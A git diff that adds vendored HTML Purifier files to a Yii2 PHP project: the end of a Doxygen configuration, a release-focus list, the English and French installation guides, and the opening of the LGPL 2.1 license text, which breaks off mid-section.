PERLMOD_MAKEVAR_PREFIX. +# This is useful so different doxyrules.make files included by the same +# Makefile don't overwrite each other's variables. + +PERLMOD_MAKEVAR_PREFIX = + +#--------------------------------------------------------------------------- +# Configuration options related to the preprocessor +#--------------------------------------------------------------------------- + +# If the ENABLE_PREPROCESSING tag is set to YES (the default) Doxygen will +# evaluate all C-preprocessor directives found in the sources and include +# files. + +ENABLE_PREPROCESSING = YES + +# If the MACRO_EXPANSION tag is set to YES Doxygen will expand all macro +# names in the source code. If set to NO (the default) only conditional +# compilation will be performed. Macro expansion can be done in a controlled +# way by setting EXPAND_ONLY_PREDEF to YES. + +MACRO_EXPANSION = NO + +# If the EXPAND_ONLY_PREDEF and MACRO_EXPANSION tags are both set to YES +# then the macro expansion is limited to the macros specified with the +# PREDEFINED and EXPAND_AS_DEFINED tags. + +EXPAND_ONLY_PREDEF = NO + +# If the SEARCH_INCLUDES tag is set to YES (the default) the includes files +# in the INCLUDE_PATH (see below) will be search if a #include is found. + +SEARCH_INCLUDES = YES + +# The INCLUDE_PATH tag can be used to specify one or more directories that +# contain include files that are not input files but should be processed by +# the preprocessor. + +INCLUDE_PATH = + +# You can use the INCLUDE_FILE_PATTERNS tag to specify one or more wildcard +# patterns (like *.h and *.hpp) to filter out the header-files in the +# directories. If left blank, the patterns specified with FILE_PATTERNS will +# be used. + +INCLUDE_FILE_PATTERNS = + +# The PREDEFINED tag can be used to specify one or more macro names that +# are defined before the preprocessor is started (similar to the -D option of +# gcc). The argument of the tag is a list of macros of the form: name +# or name=definition (no spaces). If the definition and the = are +# omitted =1 is assumed. To prevent a macro definition from being +# undefined via #undef or recursively expanded use the := operator +# instead of the = operator. + +PREDEFINED = + +# If the MACRO_EXPANSION and EXPAND_ONLY_PREDEF tags are set to YES then +# this tag can be used to specify a list of macro names that should be expanded. +# The macro definition that is found in the sources will be used. +# Use the PREDEFINED tag if you want to use a different macro definition. + +EXPAND_AS_DEFINED = + +# If the SKIP_FUNCTION_MACROS tag is set to YES (the default) then +# doxygen's preprocessor will remove all function-like macros that are alone +# on a line, have an all uppercase name, and do not end with a semicolon. Such +# function macros are typically used for boiler-plate code, and will confuse +# the parser if not removed. + +SKIP_FUNCTION_MACROS = YES + +#--------------------------------------------------------------------------- +# Configuration::additions related to external references +#--------------------------------------------------------------------------- + +# The TAGFILES option can be used to specify one or more tagfiles. +# Optionally an initial location of the external documentation +# can be added for each tagfile. The format of a tag file without +# this location is as follows: +# TAGFILES = file1 file2 ... +# Adding location for the tag files is done as follows: +# TAGFILES = file1=loc1 "file2 = loc2" ... +# where "loc1" and "loc2" can be relative or absolute paths or +# URLs. If a location is present for each tag, the installdox tool +# does not have to be run to correct the links. +# Note that each tag file must have a unique name +# (where the name does NOT include the path) +# If a tag file is not located in the directory in which doxygen +# is run, you must also specify the path to the tagfile here. + +TAGFILES = + +# When a file name is specified after GENERATE_TAGFILE, doxygen will create +# a tag file that is based on the input files it reads. + +GENERATE_TAGFILE = + +# If the ALLEXTERNALS tag is set to YES all external classes will be listed +# in the class index. If set to NO only the inherited external classes +# will be listed. + +ALLEXTERNALS = NO + +# If the EXTERNAL_GROUPS tag is set to YES all external groups will be listed +# in the modules index. If set to NO, only the current project's groups will +# be listed. + +EXTERNAL_GROUPS = YES + +# The PERL_PATH should be the absolute path and name of the perl script +# interpreter (i.e. the result of `which perl'). + +PERL_PATH = /usr/bin/perl + +#--------------------------------------------------------------------------- +# Configuration options related to the dot tool +#--------------------------------------------------------------------------- + +# If the CLASS_DIAGRAMS tag is set to YES (the default) Doxygen will +# generate a inheritance diagram (in HTML, RTF and LaTeX) for classes with base +# or super classes. Setting the tag to NO turns the diagrams off. Note that +# this option is superseded by the HAVE_DOT option below. This is only a +# fallback. It is recommended to install and use dot, since it yields more +# powerful graphs. + +CLASS_DIAGRAMS = YES + +# You can define message sequence charts within doxygen comments using the \msc +# command. Doxygen will then run the mscgen tool (see http://www.mcternan.me.uk/mscgen/) to +# produce the chart and insert it in the documentation. The MSCGEN_PATH tag allows you to +# specify the directory where the mscgen tool resides. If left empty the tool is assumed to +# be found in the default search path. + +MSCGEN_PATH = + +# If set to YES, the inheritance and collaboration graphs will hide +# inheritance and usage relations if the target is undocumented +# or is not a class. + +HIDE_UNDOC_RELATIONS = YES + +# If you set the HAVE_DOT tag to YES then doxygen will assume the dot tool is +# available from the path. This tool is part of Graphviz, a graph visualization +# toolkit from AT&T and Lucent Bell Labs. The other options in this section +# have no effect if this option is set to NO (the default) + +HAVE_DOT = NO + +# If the CLASS_GRAPH and HAVE_DOT tags are set to YES then doxygen +# will generate a graph for each documented class showing the direct and +# indirect inheritance relations. Setting this tag to YES will force the +# the CLASS_DIAGRAMS tag to NO. + +CLASS_GRAPH = YES + +# If the COLLABORATION_GRAPH and HAVE_DOT tags are set to YES then doxygen +# will generate a graph for each documented class showing the direct and +# indirect implementation dependencies (inheritance, containment, and +# class references variables) of the class with other documented classes. + +COLLABORATION_GRAPH = YES + +# If the GROUP_GRAPHS and HAVE_DOT tags are set to YES then doxygen +# will generate a graph for groups, showing the direct groups dependencies + +GROUP_GRAPHS = YES + +# If the UML_LOOK tag is set to YES doxygen will generate inheritance and +# collaboration diagrams in a style similar to the OMG's Unified Modeling +# Language. + +UML_LOOK = NO + +# If set to YES, the inheritance and collaboration graphs will show the +# relations between templates and their instances. + +TEMPLATE_RELATIONS = NO + +# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDE_GRAPH, and HAVE_DOT +# tags are set to YES then doxygen will generate a graph for each documented +# file showing the direct and indirect include dependencies of the file with +# other documented files. + +INCLUDE_GRAPH = YES + +# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDED_BY_GRAPH, and +# HAVE_DOT tags are set to YES then doxygen will generate a graph for each +# documented header file showing the documented files that directly or +# indirectly include this file. + +INCLUDED_BY_GRAPH = YES + +# If the CALL_GRAPH, SOURCE_BROWSER and HAVE_DOT tags are set to YES then doxygen will +# generate a call dependency graph for every global function or class method. +# Note that enabling this option will significantly increase the time of a run. +# So in most cases it will be better to enable call graphs for selected +# functions only using the \callgraph command. + +CALL_GRAPH = NO + +# If the CALLER_GRAPH, SOURCE_BROWSER and HAVE_DOT tags are set to YES then doxygen will +# generate a caller dependency graph for every global function or class method. +# Note that enabling this option will significantly increase the time of a run. +# So in most cases it will be better to enable caller graphs for selected +# functions only using the \callergraph command. + +CALLER_GRAPH = NO + +# If the GRAPHICAL_HIERARCHY and HAVE_DOT tags are set to YES then doxygen +# will graphical hierarchy of all classes instead of a textual one. + +GRAPHICAL_HIERARCHY = YES + +# If the DIRECTORY_GRAPH, SHOW_DIRECTORIES and HAVE_DOT tags are set to YES +# then doxygen will show the dependencies a directory has on other directories +# in a graphical way. The dependency relations are determined by the #include +# relations between the files in the directories. + +DIRECTORY_GRAPH = YES + +# The DOT_IMAGE_FORMAT tag can be used to set the image format of the images +# generated by dot. Possible values are png, jpg, or gif +# If left blank png will be used. + +DOT_IMAGE_FORMAT = png + +# The tag DOT_PATH can be used to specify the path where the dot tool can be +# found. If left blank, it is assumed the dot tool can be found in the path. + +DOT_PATH = + +# The DOTFILE_DIRS tag can be used to specify one or more directories that +# contain dot files that are included in the documentation (see the +# \dotfile command). + +DOTFILE_DIRS = + +# The MAX_DOT_GRAPH_MAX_NODES tag can be used to set the maximum number of +# nodes that will be shown in the graph. If the number of nodes in a graph +# becomes larger than this value, doxygen will truncate the graph, which is +# visualized by representing a node as a red box. Note that doxygen if the number +# of direct children of the root node in a graph is already larger than +# MAX_DOT_GRAPH_NOTES then the graph will not be shown at all. Also note +# that the size of a graph can be further restricted by MAX_DOT_GRAPH_DEPTH. + +DOT_GRAPH_MAX_NODES = 50 + +# The MAX_DOT_GRAPH_DEPTH tag can be used to set the maximum depth of the +# graphs generated by dot. A depth value of 3 means that only nodes reachable +# from the root by following a path via at most 3 edges will be shown. Nodes +# that lay further from the root node will be omitted. Note that setting this +# option to 1 or 2 may greatly reduce the computation time needed for large +# code bases. Also note that the size of a graph can be further restricted by +# DOT_GRAPH_MAX_NODES. Using a depth of 0 means no depth restriction. + +MAX_DOT_GRAPH_DEPTH = 1000 + +# Set the DOT_TRANSPARENT tag to YES to generate images with a transparent +# background. This is disabled by default, which results in a white background. +# Warning: Depending on the platform used, enabling this option may lead to +# badly anti-aliased labels on the edges of a graph (i.e. they become hard to +# read). + +DOT_TRANSPARENT = NO + +# Set the DOT_MULTI_TARGETS tag to YES allow dot to generate multiple output +# files in one run (i.e. multiple -o and -T options on the command line). This +# makes dot run faster, but since only newer versions of dot (>1.8.10) +# support this, this feature is disabled by default. + +DOT_MULTI_TARGETS = NO + +# If the GENERATE_LEGEND tag is set to YES (the default) Doxygen will +# generate a legend page explaining the meaning of the various boxes and +# arrows in the dot generated graphs. + +GENERATE_LEGEND = YES + +# If the DOT_CLEANUP tag is set to YES (the default) Doxygen will +# remove the intermediate dot files that are used to generate +# the various graphs. + +DOT_CLEANUP = YES + +#--------------------------------------------------------------------------- +# Configuration::additions related to the search engine +#--------------------------------------------------------------------------- + +# The SEARCHENGINE tag specifies whether or not a search engine should be +# used. If set to NO the values of all tags below this one will be ignored. + +SEARCHENGINE = NO + +# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/FOCUS b/php/yii2/basic/vendor/ezyang/htmlpurifier/FOCUS new file mode 100644 index 00000000..e13b9aa0 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/FOCUS @@ -0,0 +1,13 @@ +9 - Major security fixes + +[ Appendix A: Release focus IDs ] +0 - N/A +1 - Initial freshmeat announcement +2 - Documentation +3 - Code cleanup +4 - Minor feature enhancements +5 - Major feature enhancements +6 - Minor bugfixes +7 - Major bugfixes +8 - Minor security fixes +9 - Major security fixes diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/INSTALL b/php/yii2/basic/vendor/ezyang/htmlpurifier/INSTALL new file mode 100644 index 00000000..677c04aa --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/INSTALL @@ -0,0 +1,374 @@ + +Install + How to install HTML Purifier + +HTML Purifier is designed to run out of the box, so actually using the +library is extremely easy. (Although... if you were looking for a +step-by-step installation GUI, you've downloaded the wrong software!) + +While the impatient can get going immediately with some of the sample +code at the bottom of this library, it's well worth reading this entire +document--most of the other documentation assumes that you are familiar +with these contents. + + +--------------------------------------------------------------------------- +1. Compatibility + +HTML Purifier is PHP 5 only, and is actively tested from PHP 5.0.5 and +up. It has no core dependencies with other libraries. PHP +4 support was deprecated on December 31, 2007 with HTML Purifier 3.0.0. +HTML Purifier is not compatible with zend.ze1_compatibility_mode. + +These optional extensions can enhance the capabilities of HTML Purifier: + + * iconv : Converts text to and from non-UTF-8 encodings + * bcmath : Used for unit conversion and imagecrash protection + * tidy : Used for pretty-printing HTML + +These optional libraries can enhance the capabilities of HTML Purifier: + + * CSSTidy : Clean CSS stylesheets using %Core.ExtractStyleBlocks + * Net_IDNA2 (PEAR) : IRI support using %Core.EnableIDNA + +--------------------------------------------------------------------------- +2. Reconnaissance + +A big plus of HTML Purifier is its inerrant support of standards, so +your web-pages should be standards-compliant. (They should also use +semantic markup, but that's another issue altogether, one HTML Purifier +cannot fix without reading your mind.) + +HTML Purifier can process these doctypes: + +* XHTML 1.0 Transitional (default) +* XHTML 1.0 Strict +* HTML 4.01 Transitional +* HTML 4.01 Strict +* XHTML 1.1 + +...and these character encodings: + +* UTF-8 (default) +* Any encoding iconv supports (with crippled internationalization support) + +These defaults reflect what my choices would be if I were authoring an +HTML document, however, what you choose depends on the nature of your +codebase. If you don't know what doctype you are using, you can determine +the doctype from this identifier at the top of your source code: + + + +...and the character encoding from this code: + + + +If the character encoding declaration is missing, STOP NOW, and +read 'docs/enduser-utf8.html' (web accessible at +http://htmlpurifier.org/docs/enduser-utf8.html). In fact, even if it is +present, read this document anyway, as many websites specify their +document's character encoding incorrectly. + + +--------------------------------------------------------------------------- +3. Including the library + +The procedure is quite simple: + + require_once '/path/to/library/HTMLPurifier.auto.php'; + +This will setup an autoloader, so the library's files are only included +when you use them. + +Only the contents in the library/ folder are necessary, so you can remove +everything else when using HTML Purifier in a production environment. + +If you installed HTML Purifier via PEAR, all you need to do is: + + require_once 'HTMLPurifier.auto.php'; + +Please note that the usual PEAR practice of including just the classes you +want will not work with HTML Purifier's autoloading scheme. + +Advanced users, read on; other users can skip to section 4. + +Autoload compatibility +---------------------- + + HTML Purifier attempts to be as smart as possible when registering an + autoloader, but there are some cases where you will need to change + your own code to accomodate HTML Purifier. These are those cases: + + PHP VERSION IS LESS THAN 5.1.2, AND YOU'VE DEFINED __autoload + Because spl_autoload_register() doesn't exist in early versions + of PHP 5, HTML Purifier has no way of adding itself to the autoload + stack. Modify your __autoload function to test + HTMLPurifier_Bootstrap::autoload($class) + + For example, suppose your autoload function looks like this: + + function __autoload($class) { + require str_replace('_', '/', $class) . '.php'; + return true; + } + + A modified version with HTML Purifier would look like this: + + function __autoload($class) { + if (HTMLPurifier_Bootstrap::autoload($class)) return true; + require str_replace('_', '/', $class) . '.php'; + return true; + } + + Note that there *is* some custom behavior in our autoloader; the + original autoloader in our example would work for 99% of the time, + but would fail when including language files. + + AN __autoload FUNCTION IS DECLARED AFTER OUR AUTOLOADER IS REGISTERED + spl_autoload_register() has the curious behavior of disabling + the existing __autoload() handler. Users need to explicitly + spl_autoload_register('__autoload'). Because we use SPL when it + is available, __autoload() will ALWAYS be disabled. If __autoload() + is declared before HTML Purifier is loaded, this is not a problem: + HTML Purifier will register the function for you. But if it is + declared afterwards, it will mysteriously not work. This + snippet of code (after your autoloader is defined) will fix it: + + spl_autoload_register('__autoload') + + Users should also be on guard if they use a version of PHP previous + to 5.1.2 without an autoloader--HTML Purifier will define __autoload() + for you, which can collide with an autoloader that was added by *you* + later. + + +For better performance +---------------------- + + Opcode caches, which greatly speed up PHP initialization for scripts + with large amounts of code (HTML Purifier included), don't like + autoloaders. We offer an include file that includes all of HTML Purifier's + files in one go in an opcode cache friendly manner: + + // If /path/to/library isn't already in your include path, uncomment + // the below line: + // require '/path/to/library/HTMLPurifier.path.php'; + + require 'HTMLPurifier.includes.php'; + + Optional components still need to be included--you'll know if you try to + use a feature and you get a class doesn't exists error! The autoloader + can be used in conjunction with this approach to catch classes that are + missing. Simply add this afterwards: + + require 'HTMLPurifier.autoload.php'; + +Standalone version +------------------ + + HTML Purifier has a standalone distribution; you can also generate + a standalone file from the full version by running the script + maintenance/generate-standalone.php . The standalone version has the + benefit of having most of its code in one file, so parsing is much + faster and the library is easier to manage. + + If HTMLPurifier.standalone.php exists in the library directory, you + can use it like this: + + require '/path/to/HTMLPurifier.standalone.php'; + + This is equivalent to including HTMLPurifier.includes.php, except that + the contents of standalone/ will be added to your path. To override this + behavior, specify a new HTMLPURIFIER_PREFIX where standalone files can + be found (usually, this will be one directory up, the "true" library + directory in full distributions). Don't forget to set your path too! + + The autoloader can be added to the end to ensure the classes are + loaded when necessary; otherwise you can manually include them. + To use the autoloader, use this: + + require 'HTMLPurifier.autoload.php'; + +For advanced users +------------------ + + HTMLPurifier.auto.php performs a number of operations that can be done + individually. These are: + + HTMLPurifier.path.php + Puts /path/to/library in the include path. For high performance, + this should be done in php.ini. + + HTMLPurifier.autoload.php + Registers our autoload handler HTMLPurifier_Bootstrap::autoload($class). + + You can do these operations by yourself--in fact, you must modify your own + autoload handler if you are using a version of PHP earlier than PHP 5.1.2 + (See "Autoload compatibility" above). + + +--------------------------------------------------------------------------- +4. Configuration + +HTML Purifier is designed to run out-of-the-box, but occasionally HTML +Purifier needs to be told what to do. If you answer no to any of these +questions, read on; otherwise, you can skip to the next section (or, if you're +into configuring things just for the heck of it, skip to 4.3). + +* Am I using UTF-8? +* Am I using XHTML 1.0 Transitional? + +If you answered no to any of these questions, instantiate a configuration +object and read on: + + $config = HTMLPurifier_Config::createDefault(); + + +4.1. Setting a different character encoding + +You really shouldn't use any other encoding except UTF-8, especially if you +plan to support multilingual websites (read section three for more details). +However, switching to UTF-8 is not always immediately feasible, so we can +adapt. + +HTML Purifier uses iconv to support other character encodings, as such, +any encoding that iconv supports +HTML Purifier supports with this code: + + $config->set('Core.Encoding', /* put your encoding here */); + +An example usage for Latin-1 websites (the most common encoding for English +websites): + + $config->set('Core.Encoding', 'ISO-8859-1'); + +Note that HTML Purifier's support for non-Unicode encodings is crippled by the +fact that any character not supported by that encoding will be silently +dropped, EVEN if it is ampersand escaped. If you want to work around +this, you are welcome to read docs/enduser-utf8.html for a fix, +but please be cognizant of the issues the "solution" creates (for this +reason, I do not include the solution in this document). + + +4.2. Setting a different doctype + +For those of you using HTML 4.01 Transitional, you can disable +XHTML output like this: + + $config->set('HTML.Doctype', 'HTML 4.01 Transitional'); + +Other supported doctypes include: + + * HTML 4.01 Strict + * HTML 4.01 Transitional + * XHTML 1.0 Strict + * XHTML 1.0 Transitional + * XHTML 1.1 + + +4.3. Other settings + +There are more configuration directives which can be read about +here: They're a bit boring, +but they can help out for those of you who like to exert maximum control over +your code. Some of the more interesting ones are configurable at the +demo and are well worth looking into +for your own system. + +For example, you can fine tune allowed elements and attributes, convert +relative URLs to absolute ones, and even autoparagraph input text! These +are, respectively, %HTML.Allowed, %URI.MakeAbsolute and %URI.Base, and +%AutoFormat.AutoParagraph. The %Namespace.Directive naming convention +translates to: + + $config->set('Namespace.Directive', $value); + +E.g. + + $config->set('HTML.Allowed', 'p,b,a[href],i'); + $config->set('URI.Base', 'http://www.example.com'); + $config->set('URI.MakeAbsolute', true); + $config->set('AutoFormat.AutoParagraph', true); + + +--------------------------------------------------------------------------- +5. Caching + +HTML Purifier generates some cache files (generally one or two) to speed up +its execution. For maximum performance, make sure that +library/HTMLPurifier/DefinitionCache/Serializer is writeable by the webserver. + +If you are in the library/ folder of HTML Purifier, you can set the +appropriate permissions using: + + chmod -R 0755 HTMLPurifier/DefinitionCache/Serializer + +If the above command doesn't work, you may need to assign write permissions +to all. This may be necessary if your webserver runs as nobody, but is +not recommended since it means any other user can write files in the +directory. Use: + + chmod -R 0777 HTMLPurifier/DefinitionCache/Serializer + +You can also chmod files via your FTP client; this option +is usually accessible by right clicking the corresponding directory and +then selecting "chmod" or "file permissions". + +Starting with 2.0.1, HTML Purifier will generate friendly error messages +that will tell you exactly what you have to chmod the directory to, if in doubt, +follow its advice. + +If you are unable or unwilling to give write permissions to the cache +directory, you can either disable the cache (and suffer a performance +hit): + + $config->set('Core.DefinitionCache', null); + +Or move the cache directory somewhere else (no trailing slash): + + $config->set('Cache.SerializerPath', '/home/user/absolute/path'); + + +--------------------------------------------------------------------------- +6. Using the code + +The interface is mind-numbingly simple: + + $purifier = new HTMLPurifier($config); + $clean_html = $purifier->purify( $dirty_html ); + +That's it! For more examples, check out docs/examples/ (they aren't very +different though). Also, docs/enduser-slow.html gives advice on what to +do if HTML Purifier is slowing down your application. + + +--------------------------------------------------------------------------- +7. Quick install + +First, make sure library/HTMLPurifier/DefinitionCache/Serializer is +writable by the webserver (see Section 5: Caching above for details). +If your website is in UTF-8 and XHTML Transitional, use this code: + +purify($dirty_html); +?> + +If your website is in a different encoding or doctype, use this code: + +set('Core.Encoding', 'ISO-8859-1'); // replace with your encoding + $config->set('HTML.Doctype', 'HTML 4.01 Transitional'); // replace with your doctype + $purifier = new HTMLPurifier($config); + + $clean_html = $purifier->purify($dirty_html); +?> + + vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/INSTALL.fr.utf8 b/php/yii2/basic/vendor/ezyang/htmlpurifier/INSTALL.fr.utf8 new file mode 100644 index 00000000..9c533853 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/INSTALL.fr.utf8 @@ -0,0 +1,69 @@ + +Installation + Comment installer HTML Purifier + +Attention: Ce document a encode en UTF-8. Si les lettres avec les accents +est essoreuse, prenez un mieux editeur de texte. + +À L'Aide: Je ne suis pas un diseur natif de français. Si vous trouvez une +erreur dans ce document, racontez-moi! Merci. + + +L'installation de HTML Purifier est trés simple, parce qu'il ne doit pas +la configuration. Dans le pied de de document, les utilisateurs +impatient peuvent trouver le code, mais je recommande que vous lisez +ce document pour quelques choses. + + +1. Compatibilité + +HTML Purifier fonctionne dans PHP 5. PHP 5.0.5 est le dernier +version que je le testais. Il ne dépend de les autre librairies. + +Les extensions optionnel est iconv (en général déjà installer) et +tidy (répandu aussi). Si vous utilisez UTF-8 et ne voulez pas +l'indentation, vous pouvez utiliser HTML Purifier sans ces extensions. + + +2. Inclure la librarie + +Utilisez: + + require_once '/path/to/library/HTMLPurifier.auto.php'; + +...quand vous devez utiliser HTML Purifier (ne inclure pas quand vous +ne devez pas, parce que HTML Purifier est trés grand.) + +HTML Purifier utilise 'autoload'. Si vous avez définu la fonction +__autoload, vous doivez ajoute cet programme: + + spl_autoload_register('__autoload') + +Plus d'information est dans le document 'INSTALL'. + + +3. Installation vite + +Si votre site web est en UTF-8 et XHTML Transitional, utilisez: + +purify($html_salle); +?> + +Sinon, utilisez: + +set('Core', 'Encoding', 'ISO-8859-1'); //remplacez avec votre encoding + $config->set('Core', 'XHTML', true); //remplacez avec false si HTML 4.01 + $purificateur = new HTMLPurifier($config); + + $html_propre = $purificateur->purify($html_salle); +?> + + vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/LICENSE b/php/yii2/basic/vendor/ezyang/htmlpurifier/LICENSE new file mode 100644 index 00000000..8c88a20d --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/LICENSE @@ -0,0 +1,504 @@ + GNU LESSER GENERAL PUBLIC LICENSE + Version 2.1, February 1999 + + Copyright (C) 1991, 1999 Free Software Foundation, Inc. + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + +[This is the first released version of the Lesser GPL. It also counts + as the successor of the GNU Library Public License, version 2, hence + the version number 2.1.] + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +Licenses are intended to guarantee your freedom to share and change +free software--to make sure the software is free for all its users. + + This license, the Lesser General Public License, applies to some +specially designated software packages--typically libraries--of the +Free Software Foundation and other authors who decide to use it. You +can use it too, but we suggest you first think carefully about whether +this license or the ordinary General Public License is the better +strategy to use in any particular case, based on the explanations below. + + When we speak of free software, we are referring to freedom of use, +not price. Our General Public Licenses are designed to make sure that +you have the freedom to distribute copies of free software (and charge +for this service if you wish); that you receive source code or can get +it if you want it; that you can change the software and use pieces of +it in new free programs; and that you are informed that you can do +these things. + + To protect your rights, we need to make restrictions that forbid +distributors to deny you these rights or to ask you to surrender these +rights. These restrictions translate to certain responsibilities for +you if you distribute copies of the library or if you modify it. + + For example, if you distribute copies of the library, whether gratis +or for a fee, you must give the recipients all the rights that we gave +you. You must make sure that they, too, receive or can get the source +code. If you link other code with the library, you must provide +complete object files to the recipients, so that they can relink them +with the library after making changes to the library and recompiling +it. And you must show them these terms so they know their rights. + + We protect your rights with a two-step method: (1) we copyright the +library, and (2) we offer you this license, which gives you legal +permission to copy, distribute and/or modify the library. + + To protect each distributor, we want to make it very clear that +there is no warranty for the free library. Also, if the library is +modified by someone else and passed on, the recipients should know +that what they have is not the original version, so that the original +author's reputation will not be affected by problems that might be +introduced by others. + + Finally, software patents pose a constant threat to the existence of +any free program. We wish to make sure that a company cannot +effectively restrict the users of a free program by obtaining a +restrictive license from a patent holder. Therefore, we insist that +any patent license obtained for a version of the library must be +consistent with the full freedom of use specified in this license. + + Most GNU software, including some libraries, is covered by the +ordinary GNU General Public License. This license, the GNU Lesser +General Public License, applies to certain designated libraries, and +is quite different from the ordinary General Public License. We use +this license for certain libraries in order to permit linking those +libraries into non-free programs. + + When a program is linked with a library, whether statically or using +a shared library, the combination of the two is legally speaking a +combined work, a derivative of the original library. The ordinary +General Public License therefore permits such linking only if the +entire combination fits its criteria of freedom. The Lesser General +Public License permits more lax criteria for linking other code with +the library. + + We call this license the "Lesser" General Public License because it +does Less to protect the user's freedom than the ordinary General +Public License. It also provides other free software developers Less +of an advantage over competing non-free programs. These disadvantages +are the reason we use the ordinary General Public License for many +libraries. However, the Lesser license provides advantages in certain +special circumstances. + + For example, on rare occasions, there may be a special need to +encourage the widest possible use of a certain library, so that it becomes +a de-facto standard. To achieve this, non-free programs must be +allowed to use the library. A more frequent case is that a free +library does the same job as widely used non-free libraries. In this +case, there is little to gain by limiting the free library to free +software only, so we use the Lesser General Public License. + + In other cases, permission to use a particular library in non-free +programs enables a greater number of people to use a large body of +free software. For example, permission to use the GNU C Library in +non-free programs enables many more people to use the whole GNU +operating system, as well as its variant, the GNU/Linux operating +system. + + Although the Lesser General Public License is Less protective of the +users' freedom, it does ensure that the user of a program that is +linked with the Library has the freedom and the wherewithal to run +that program using a modified version of the Library. + + The precise terms and conditions for copying, distribution and +modification follow. Pay close attention to the difference between a +"work based on the library" and a "work that uses the library". The +former contains code derived from the library, whereas the latter must +be combined with the library in order to run. + + GNU LESSER GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License Agreement applies to any software library or other +program which contains a notice placed by the copyright holder or +other authorized party saying it may be distributed under the terms of +this Lesser General Public License (also called "this License"). +Each licensee is addressed as "you". + + A "library" means a collection of software functions and/or data +prepared so as to be conveniently linked with application programs +(which use some of those functions and data) to form executables. + + The "Library", below, refers to any such software library or work +which has been distributed under these terms. A "work based on the +Library" means either the Library or any derivative work under +copyright law: that is to say, a work containing the Library or a +portion of it, either verbatim or with modifications and/or translated +straightforwardly into another language. (Hereinafter, translation is +included without limitation in the term "modification".) + + "Source code" for a work means the preferred form of the work for +making modifications to it. For a library, complete source code means +all the source code for all modules it contains, plus any associated +interface definition files, plus the scripts used to control compilation +and installation of the library. + + Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running a program using the Library is not restricted, and output from +such a program is covered only if its contents constitute a work based +on the Library (independent of the use of the Library in a tool for +writing it). Whether that is true depends on what the Library does +and what the program that uses the Library does. + + 1. You may copy and distribute verbatim copies of the Library's +complete source code as you receive it, in any medium, provided that +you conspicuously and appropriately publish on each copy an +appropriate copyright notice and disclaimer of warranty; keep intact +all the notices that refer to this License and to the absence of any +warranty; and distribute a copy of this License along with the +Library. + + You may charge a fee for the physical act of transferring a copy, +and you may at your option offer warranty protection in exchange for a +fee. + + 2. You may modify your copy or copies of the Library or any portion +of it, thus forming a work based on the Library, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) The modified work must itself be a software library. + + b) You must cause the files modified to carry prominent notices + stating that you changed the files and the date of any change. + + c) You must cause the whole of the work to be licensed at no + charge to all third parties under the terms of this License. + + d) If a facility in the modified Library refers to a function or a + table of data to be supplied by an application program that uses + the facility, other than as an argument passed when the facility + is invoked, then you must make a good faith effort to ensure that, + in the event an application does not supply such function or + table, the facility still operates, and performs whatever part of + its purpose remains meaningful. + + (For example, a function in a library to compute square roots has + a purpose that is entirely well-defined independent of the + application. Therefore, Subsection 2d requires that any + application-supplied function or table used by this function must + be optional: if the application does not supply it, the square + root function must still compute square roots.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Library, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Library, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote +it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Library. + +In addition, mere aggregation of another work not based on the Library +with the Library (or with a work based on the Library) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may opt to apply the terms of the ordinary GNU General Public +License instead of this License to a given copy of the Library. To do +this, you must alter all the notices that refer to this License, so +that they refer to the ordinary GNU General Public License, version 2, +instead of to this License. (If a newer version than version 2 of the +ordinary GNU General Public License has appeared, then you can specify +that version instead if you wish.) Do not make any other change in +these notices. + + Once this change is made in a given copy, it is irreversible for +that copy, so the ordinary GNU General Public License applies to all +subsequent copies and derivative works made from that copy. + + This option is useful when you wish to copy part of the code of +the Library into a program that is not a library. + + 4. You may copy and distribute the Library (or a portion or +derivative of it, under Section 2) in object code or executable form +under the terms of Sections 1 and 2 above provided that you accompany +it with the complete corresponding machine-readable source code, which +must be distributed under the terms of Sections 1 and 2 above on a +medium customarily used for software interchange. + + If distribution of object code is made by offering access to copy +from a designated place, then offering equivalent access to copy the +source code from the same place satisfies the requirement to +distribute the source code, even though third parties are not +compelled to copy the source along with the object code. + + 5. A program that contains no derivative of any portion of the +Library, but is designed to work with the Library by being compiled or +linked with it, is called a "work that uses the Library". Such a +work, in isolation, is not a derivative work of the Library, and +therefore falls outside the scope of this License. + + However, linking a "work that uses the Library" with the Library +creates an executable that is a derivative of the Library (because it +contains portions of the Library), rather than a "work that uses the +library". The executable is therefore covered by this License. +Section 6 states terms for distribution of such executables. + + When a "work that uses the Library" uses material from a header file +that is part of the Library, the object code for the work may be a +derivative work of the Library even though the source code is not. +Whether this is true is especially significant if the work can be +linked without the Library, or if the work is itself a library. The +threshold for this to be true is not precisely defined by law. + + If such an object file uses only numerical parameters, data +structure layouts and accessors, and small macros and small inline +functions (ten lines or less in length), then the use of the object +file is unrestricted, regardless of whether it is legally a derivative +work. (Executables containing this object code plus portions of the +Library will still fall under Section 6.) + + Otherwise, if the work is a derivative of the Library, you may +distribute the object code for the work under the terms of Section 6. +Any executables containing that work also fall under Section 6, 